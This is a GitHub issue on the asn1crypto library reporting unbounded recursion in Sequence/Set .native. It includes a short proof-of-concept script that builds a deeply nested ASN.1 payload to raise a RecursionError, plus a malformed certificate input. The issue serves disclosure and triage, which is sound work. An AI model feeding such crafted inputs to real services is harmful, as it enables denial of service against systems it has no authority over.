wbond/asn1crypto

Unbounded recursion in .native of Sequence and Set

Open

#300 opened on Apr 21, 2026

View on GitHub
 (1 comment) (0 reactions) (0 assignees)Python (146 forks)github user discovery
bughelp wantedsecurity

Repository metrics

Stars
 (359 stars)
PR merge metrics
 (PR metrics pending)

Description

Received a vulnerability report through #299. Reporter calculated a high risk: CVSS: 7.5 (CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H)

I rewrote their PoC. Following raises a RecursionError:

#!/usr/bin/python3

from asn1crypto.parser import emit
from asn1crypto.core import load

# Create highly nested Sequence with Null as innermost object
payload = emit(0, 0, 5, b"")
for __ in range(5000):
    payload = emit(0, 1, 16, payload)

# 19833 bytes
print(len(payload))

# Parse payload
parsed = load(payload)

# raises RecursionError
native = parsed.native

Sequence.native calls self._parse_children(recurse=True) which in turn keeps calling itself.

Real world implications are not known and I don't agree with the that CVSS score. But I still consider this a bug because a RecursionError might be unexpected (I didn't expect it) and it's not documented behaviour.

People usually don't call core.load directly and .native on nested objects is usually only for debugging. I think to trigger this in "real" code, one might need a defined recursive data structure first. Maybe cms? And some way to trigger a call to .native in real code. PoC welcome :)

Also, calling code should prepare for Exceptions while processing untrusted data. E.g. this raises a ValueError in .native:

from asn1crypto.x509 import Certificate
cert = Certificate.load(b"\x30\00")
cert.native

If the caller handles any Exception they're fine, because RecursionError inherits from Exception.

Contributor guide